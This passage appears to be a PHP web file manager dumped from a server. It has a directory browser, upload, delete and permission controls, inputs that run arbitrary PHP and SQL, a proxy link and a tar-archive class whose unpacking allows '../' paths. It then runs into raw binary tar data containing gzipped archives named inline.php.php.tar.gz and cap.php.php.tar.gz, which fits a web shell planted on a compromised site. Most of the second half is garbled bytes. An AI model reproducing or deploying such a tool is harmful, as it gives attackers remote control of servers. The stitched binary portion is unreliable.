				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Renderer.zip                                                                                        0000644                 00004014201 15217301643 0007042 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PK     |\S      inline.php.php.tar.gznu [              Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,   PK     |\Mk]  ]    cap.php.php.tar.gznu [              i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
